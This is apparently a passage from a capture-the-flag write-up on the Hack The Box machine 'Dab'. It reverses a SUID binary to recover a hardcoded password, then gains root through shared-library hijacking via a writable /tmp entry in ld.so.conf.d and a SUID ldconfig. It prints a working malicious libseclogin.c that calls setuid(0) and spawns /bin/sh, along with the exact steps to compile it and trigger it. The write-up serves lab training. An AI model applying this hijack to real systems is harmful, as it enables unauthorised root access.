[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400740]> afl
0x00400690    3 26           sym._init
0x004006c0    1 6            sym.imp.puts
0x004006d0    1 6            sym.imp.__stack_chk_fail
0x004006e0    1 6            sym.imp.printf
0x004006f0    1 6            sym.imp.seclogin
0x00400700    1 6            sym.imp.__libc_start_main
0x00400710    1 6            sym.imp.strcmp
0x00400720    1 6            sym.imp.__isoc99_scanf
0x00400730    1 6            sub.__gmon_start_730
0x00400740    1 41           entry0
0x00400770    4 50   -> 41   sym.deregister_tm_clones
0x004007b0    4 58   -> 55   sym.register_tm_clones
0x004007f0    3 28           sym.__do_global_dtors_aux
0x00400810    4 38   -> 35   entry1.init
0x00400836    6 173          main
0x004008f0    4 101          sym.__libc_csu_init
0x00400960    1 2            sym.__libc_csu_fini
0x00400964    1 9            sym._fini
[0x00400740]> pdf @ main
/ (fcn) main 173
|   main (int argc, char **argv, char **envp);
|           ; var unsigned int local_64h @ rbp-0x64
|           ; var char *s1 @ rbp-0x60
|           ; var int local_58h @ rbp-0x58
|           ; var char *s2 @ rbp-0x50
|           ; var int canary @ rbp-0x8
|           ; DATA XREF from entry0 (0x40075d)
|           0x00400836      55             push rbp
|           0x00400837      4889e5         mov rbp, rsp
|           0x0040083a      4883ec70       sub rsp, 0x70               ; 'p'
|           0x0040083e      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00400847      488945f8       mov qword [canary], rax
|           0x0040084b      31c0           xor eax, eax
|           0x0040084d      48b873336375.  movabs rax, 0x306c337275633373 ; 's3cur3l0'
|           0x00400857      488945a0       mov qword [s1], rax
|           0x0040085b      c745a867316e.  mov dword [local_58h], 0x6e3167 ; 'g1n'
|           0x00400862      bf74094000     mov edi, str.Enter_password: ; 0x400974 ; "Enter password: " ; const char *format
|           0x00400867      b800000000     mov eax, 0
|           0x0040086c      e86ffeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400871      488d45b0       lea rax, qword [s2]
|           0x00400875      4889c6         mov rsi, rax
|           0x00400878      bf85094000     mov edi, str.63s            ; 0x400985 ; "%63s" ; const char *format
|           0x0040087d      b800000000     mov eax, 0
|           0x00400882      e899feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x00400887      488d55b0       lea rdx, qword [s2]
|           0x0040088b      488d45a0       lea rax, qword [s1]
|           0x0040088f      4889d6         mov rsi, rdx                ; const char *s2
|           0x00400892      4889c7         mov rdi, rax                ; const char *s1
|           0x00400895      e876feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0040089a      89459c         mov dword [local_64h], eax
|           0x0040089d      837d9c00       cmp dword [local_64h], 0
|       ,=< 0x004008a1      7411           je 0x4008b4
|       |   0x004008a3      bf8a094000     mov edi, str.Invalid_password ; 0x40098a ; "Invalid password\n" ; const char *s
|       |   0x004008a8      e813feffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004008ad      b801000000     mov eax, 1
|      ,==< 0x004008b2      eb19           jmp 0x4008cd
|      ||   ; CODE XREF from main (0x4008a1)
|      |`-> 0x004008b4      bf9c094000     mov edi, str.Password_is_correct ; 0x40099c ; "Password is correct\n" ; const char *s
|      |    0x004008b9      e802feffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x004008be      b800000000     mov eax, 0
|      |    0x004008c3      e828feffff     call sym.imp.seclogin
|      |    0x004008c8      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x4008b2)
|      `--> 0x004008cd      488b4df8       mov rcx, qword [canary]
|           0x004008d1      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x004008da      7405           je 0x4008e1
|       |   0x004008dc      e8effdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x4008da)
|       `-> 0x004008e1      c9             leave
\           0x004008e2      c3             ret
[0x00400740]> 

At first the string "Enter password: " is printed:

|           0x00400862      bf74094000     mov edi, str.Enter_password: ; 0x400974 ; "Enter password: " ; const char *format
|           0x00400867      b800000000     mov eax, 0
|           0x0040086c      e86ffeffff     call sym.imp.printf         ; int printf(const char *format)


Then a string with a maximum length of 63 bytes is read from stdin:

|           0x00400878      bf85094000     mov edi, str.63s            ; 0x400985 ; "%63s" ; const char *format
|           0x0040087d      b800000000     mov eax, 0
|           0x00400882      e899feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)

After this the entered string (stored in s2) is compared to a string stored in s1:

|           0x00400887      488d55b0       lea rdx, qword [s2]
|           0x0040088b      488d45a0       lea rax, qword [s1]
|           0x0040088f      4889d6         mov rsi, rdx                ; const char *s2
|           0x00400892      4889c7         mov rdi, rax                ; const char *s1
|           0x00400895      e876feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)

If the strings are not equal, "Invalid password" is printed:

|       |   0x004008a3      bf8a094000     mov edi, str.Invalid_password ; 0x40098a ; "Invalid password\n" ; const char *s
|       |   0x004008a8      e813feffff     call sym.imp.puts           ; int puts(const char *s)

I

If the strings are equal, "Password is correct" is printed and the function seclogin is called:

|      |`-> 0x004008b4      bf9c094000     mov edi, str.Password_is_correct ; 0x40099c ; "Password is correct\n" ; const char *s
|      |    0x004008b9      e802feffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x004008be      b800000000     mov eax, 0
|      |    0x004008c3      e828feffff     call sym.imp.seclogin

libseclogin.so

The function seclogin is defined in an additional shared library:

genevieve@dab:~$ ldd /usr/bin/myexec 
	linux-vdso.so.1 =>  (0x00007ffc4b767000)
	libseclogin.so => /usr/lib/libseclogin.so (0x00007fa492368000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa491f9e000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fa49256a000)

We download this shared library to our attacker machine, too:

root@kali:~/Documents/htb/boxes/dab# scp genevieve@10.10.10.86:/usr/lib/libseclogin.so .
genevieve@10.10.10.86's password: 
libseclogin.so                                                                                          100% 8120   384.8KB/s   00:00    

And disassemble the function using radare2:

root@kali:~/Documents/htb/boxes/dab# r2 -A libseclogin.so 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x000005a0]> afl
0x00000000    4 67   -> 68   sym.imp.__cxa_finalize
0x00000548    3 26           sym._init
0x00000580    1 6            sym.imp.puts
0x00000590    1 6            sub.__gmon_start_590
0x00000598    1 6            sub.__cxa_finalize_598
0x000005a0    4 50   -> 44   entry0
0x000005e0    4 66   -> 57   sym.register_tm_clones
0x00000630    5 50           sym.__do_global_dtors_aux
0x00000670    4 48   -> 42   entry1.init
0x000006a0    1 35           sym.seclogin
0x000006c4    1 9            sym._fini
[0x000005a0]> pdf @ sym.seclogin 
/ (fcn) sym.seclogin 35
|   sym.seclogin ();
|           0x000006a0      55             push rbp
|           0x000006a1      4889e5         mov rbp, rsp
|           0x000006a4      488d3d250000.  lea rdi, qword str.seclogin___called ; section..rodata ; 0x6d0 ; "seclogin() called" ; const char *s
|           0x000006ab      e8d0feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x000006b0      488d3d310000.  lea rdi, qword str.TODO:_Placeholder_for_now__function_not_implemented_yet ; 0x6e8 ; "TODO: Placeholder for now, function not implemented yet" ; const char *s
|           0x000006b7      e8c4feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x000006bc      b800000000     mov eax, 0
|           0x000006c1      5d             pop rbp
\           0x000006c2      c3             ret

The function merely prints the string "TODO: Placeholder for now, function not implemented yet".

Since the myexec binary has the SUID bit enabled, the function is called with root privileges. If we find a way to replace it with our own code, we get root access.

myexec’s password

At first we need to determine the password, which must be entered to call the function seclogin. This can be done by statically analyzing the disassembly (reversing) or by simply debugging it dynamically setting a breakpoint on the strcmp call. Let’s start with the static approach and review the disassembly of the main function:

|           0x0040084d      48b873336375.  movabs rax, 0x306c337275633373 ; 's3cur3l0'
|           0x00400857      488945a0       mov qword [s1], rax
|           0x0040085b      c745a867316e.  mov dword [local_58h], 0x6e3167 ; 'g1n'

We already know, that the string we enter is stored in s2 and that this string is compared to s1. In the above disassmbly, we see what s1 is set to. The first 8 bytes are set to "s3cur3l0" as radare2 already displays at the right side beneath the movabs instruction. The address local_58h is right behind those 8 bytes, where the additional 3 bytes "g1n" are stored. Thus the whole string stored in s1 simply is: "s3cur3l0g1n".

This was not that complicated, but just for the sake of completeness let’s also do the dynamic approach using gdb. In order to grant gdb access to the shared library we must first set the environment variable LD_LIBRARY_PATH to our current directory, where the shared library is stored:

root@kali:~/Documents/htb/boxes/dab# gdb ./myexec 
GNU gdb (Debian 8.1-4+b1) 8.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./myexec...(no debugging symbols found)...done.
gdb-peda$ set env LD_LIBRARY_PATH .
gdb-peda$ 

Then we can simply set a breakpoint on the call to strcmp, run the program and enter something for the password:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400836 <+0>:	push   rbp
   0x0000000000400837 <+1>:	mov    rbp,rsp
   0x000000000040083a <+4>:	sub    rsp,0x70
   0x000000000040083e <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400847 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040084b <+21>:	xor    eax,eax
   0x000000000040084d <+23>:	movabs rax,0x306c337275633373
   0x0000000000400857 <+33>:	mov    QWORD PTR [rbp-0x60],rax
   0x000000000040085b <+37>:	mov    DWORD PTR [rbp-0x58],0x6e3167
   0x0000000000400862 <+44>:	mov    edi,0x400974
   0x0000000000400867 <+49>:	mov    eax,0x0
   0x000000000040086c <+54>:	call   0x4006e0 <printf@plt>
   0x0000000000400871 <+59>:	lea    rax,[rbp-0x50]
   0x0000000000400875 <+63>:	mov    rsi,rax
   0x0000000000400878 <+66>:	mov    edi,0x400985
   0x000000000040087d <+71>:	mov    eax,0x0
   0x0000000000400882 <+76>:	call   0x400720 <__isoc99_scanf@plt>
   0x0000000000400887 <+81>:	lea    rdx,[rbp-0x50]
   0x000000000040088b <+85>:	lea    rax,[rbp-0x60]
   0x000000000040088f <+89>:	mov    rsi,rdx
   0x0000000000400892 <+92>:	mov    rdi,rax
   0x0000000000400895 <+95>:	call   0x400710 <strcmp@plt>
   0x000000000040089a <+100>:	mov    DWORD PTR [rbp-0x64],eax
   0x000000000040089d <+103>:	cmp    DWORD PTR [rbp-0x64],0x0
   0x00000000004008a1 <+107>:	je     0x4008b4 <main+126>
   0x00000000004008a3 <+109>:	mov    edi,0x40098a
   0x00000000004008a8 <+114>:	call   0x4006c0 <puts@plt>
   0x00000000004008ad <+119>:	mov    eax,0x1
   0x00000000004008b2 <+124>:	jmp    0x4008cd <main+151>
   0x00000000004008b4 <+126>:	mov    edi,0x40099c
   0x00000000004008b9 <+131>:	call   0x4006c0 <puts@plt>
   0x00000000004008be <+136>:	mov    eax,0x0
   0x00000000004008c3 <+141>:	call   0x4006f0 <seclogin@plt>
   0x00000000004008c8 <+146>:	mov    eax,0x0
   0x00000000004008cd <+151>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004008d1 <+155>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004008da <+164>:	je     0x4008e1 <main+171>
   0x00000000004008dc <+166>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004008e1 <+171>:	leave  
   0x00000000004008e2 <+172>:	ret    
End of assembler dump.
gdb-peda$ b *main+95
Breakpoint 1 at 0x400895
gdb-peda$ r
Starting program: /root/Documents/htb/boxes/dab/myexec 
Enter password: test

[----------------------------------registers-----------------------------------]
RAX: 0x7fff8b3fa420 ("s3cur3l0g1n")
RBX: 0x0 
RCX: 0x0 
RDX: 0x7fff8b3fa430 --> 0x74736574 ('test')
RSI: 0x7fff8b3fa430 --> 0x74736574 ('test')
RDI: 0x7fff8b3fa420 ("s3cur3l0g1n")
RBP: 0x7fff8b3fa480 --> 0x4008f0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fff8b3fa410 --> 0x0 
RIP: 0x400895 (<main+95>:	call   0x400710 <strcmp@plt>)
R8 : 0x0 
R9 : 0xa ('\n')
R10: 0x0 
R11: 0x246 
R12: 0x400740 (<_start>:	xor    ebp,ebp)
R13: 0x7fff8b3fa560 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40088b <main+85>:	lea    rax,[rbp-0x60]
   0x40088f <main+89>:	mov    rsi,rdx
   0x400892 <main+92>:	mov    rdi,rax
=> 0x400895 <main+95>:	call   0x400710 <strcmp@plt>
   0x40089a <main+100>:	mov    DWORD PTR [rbp-0x64],eax
   0x40089d <main+103>:	cmp    DWORD PTR [rbp-0x64],0x0
   0x4008a1 <main+107>:	je     0x4008b4 <main+126>
   0x4008a3 <main+109>:	mov    edi,0x40098a
Guessed arguments:
arg[0]: 0x7fff8b3fa420 ("s3cur3l0g1n")
arg[1]: 0x7fff8b3fa430 --> 0x74736574 ('test')
arg[2]: 0x7fff8b3fa430 --> 0x74736574 ('test')
[------------------------------------stack-------------------------------------]
0000| 0x7fff8b3fa410 --> 0x0 
0008| 0x7fff8b3fa418 --> 0x0 
0016| 0x7fff8b3fa420 ("s3cur3l0g1n")
0024| 0x7fff8b3fa428 --> 0x6e3167 ('g1n')
0032| 0x7fff8b3fa430 --> 0x74736574 ('test')
0040| 0x7fff8b3fa438 --> 0x0 
0048| 0x7fff8b3fa440 --> 0x1 
0056| 0x7fff8b3fa448 --> 0x40093d (<__libc_csu_init+77>:	add    rbx,0x1)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400895 in main ()
gdb-peda$ 

As we can see in the arguments, the string which is compared to our input is "s3cur3l0g1n".

Now we can verify the password on the target machine:

genevieve@dab:~$ myexec 
Enter password: s3cur3l0g1n
Password is correct

seclogin() called
TODO: Placeholder for now, function not implemented yet

The password is actually working and the function seclogin is called printing the TODO message.

ldconfig

Our next task is to somehow replace this function with our own one. How can we do this? We have already noticed that the SUID bit of ldconfig is set. Let’s have a look at the manpage of ldconfig:

LDCONFIG(8)                         Linux Programmer's Manual                         LDCONFIG(8)

NAME
       ldconfig - configure dynamic linker run-time bindings

SYNOPSIS
       /sbin/ldconfig [ -nNvXV ] [ -f conf ] [ -C cache ] [ -r root ] directory ...
       /sbin/ldconfig -l [ -v ] library ...
       /sbin/ldconfig -p

DESCRIPTION
       ldconfig  creates  the necessary links and cache to the most recent shared libraries found
       in the directories specified on the command line, in the file /etc/ld.so.conf, and in  the
       trusted  directories,  /lib and /usr/lib (on some 64-bit architectures such as x86-64, lib
       and /usr/lib are the trusted directories for 32-bit libraries, while /lib64 and /usr/lib64
       are used for 64-bit libraries).

...

So ldconfig is actually responsible for determining which shared library is used. The man page also states that the file /etc/ld.so.conf is used to specify directories for shared libraries. Let’s have a look at this file:

genevieve@dab:~$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

genevieve@dab:~$ ls -al /etc/ld.so.conf.d/*.conf
-rw-rw-r-- 1 root root 38 Nov 24  2014 /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
-rw-r--r-- 1 root root 44 Jan 27  2016 /etc/ld.so.conf.d/libc.conf
-rw-r--r-- 1 root root  5 Mar 25  2018 /etc/ld.so.conf.d/test.conf
-rw-r--r-- 1 root root 68 Apr 14  2016 /etc/ld.so.conf.d/x86_64-linux-gnu.conf

The file itself only includes all *.conf files within /etc/ld.so.conf.d/. In this directory is a file called test.conf which surely is no default file:

genevieve@dab:~$ cat /etc/ld.so.conf.d/test.conf 
/tmp

The file contains the directory /tmp which means that ldconfig is caching libraries stored in /tmp! Since we can write to /tmp we can store our own shared library there, run ldconfig and then execute myexec again. This time it will load our library and run our own code.

Compile own shared Library

Since gcc is on the target machine, we can compile a shared library directly on it:

genevieve@dab:/tmp/.tmp$ cat libseclogin.c
#include <stdlib.h>
#include <unistd.h>

void seclogin(void) {
  setgid(0);
  setuid(0);
  system("/bin/sh");
}

genevieve@dab:/tmp/.tmp$ gcc -c -fpic libseclogin.c 
genevieve@dab:/tmp/.tmp$ gcc -shared -o libseclogin.so libseclogin.o

The file libseclogin.c only contains the single function seclogin, which calls system to spawn a shell. Beforehand setgid and setuid is called with the argument 0 to set the GID and UID, as we otherwise would only spawn a shell as our current user. This file needs to be compiled as position indepedent code (option -fpic) and then linked to a shared library using the option -shared.

Now we can copy our shared library to /tmp, run ldconfig to cache our library and then run myexec:

genevieve@dab:/tmp/.tmp$ mv libseclogin.so /tmp
genevieve@dab:/tmp/.tmp$ ldconfig
genevieve@dab:/tmp/.tmp$ myexec
Enter password: s3cur3l0g1n
Password is correct

# id
uid=0(root) gid=0(root) groups=0(root),1000(genevieve)
# cat /root/root.txt
45cd...

We successfully spawned a shell as root and can read the flag file root.txt 🙂

That’s it. Thanks for reading the article.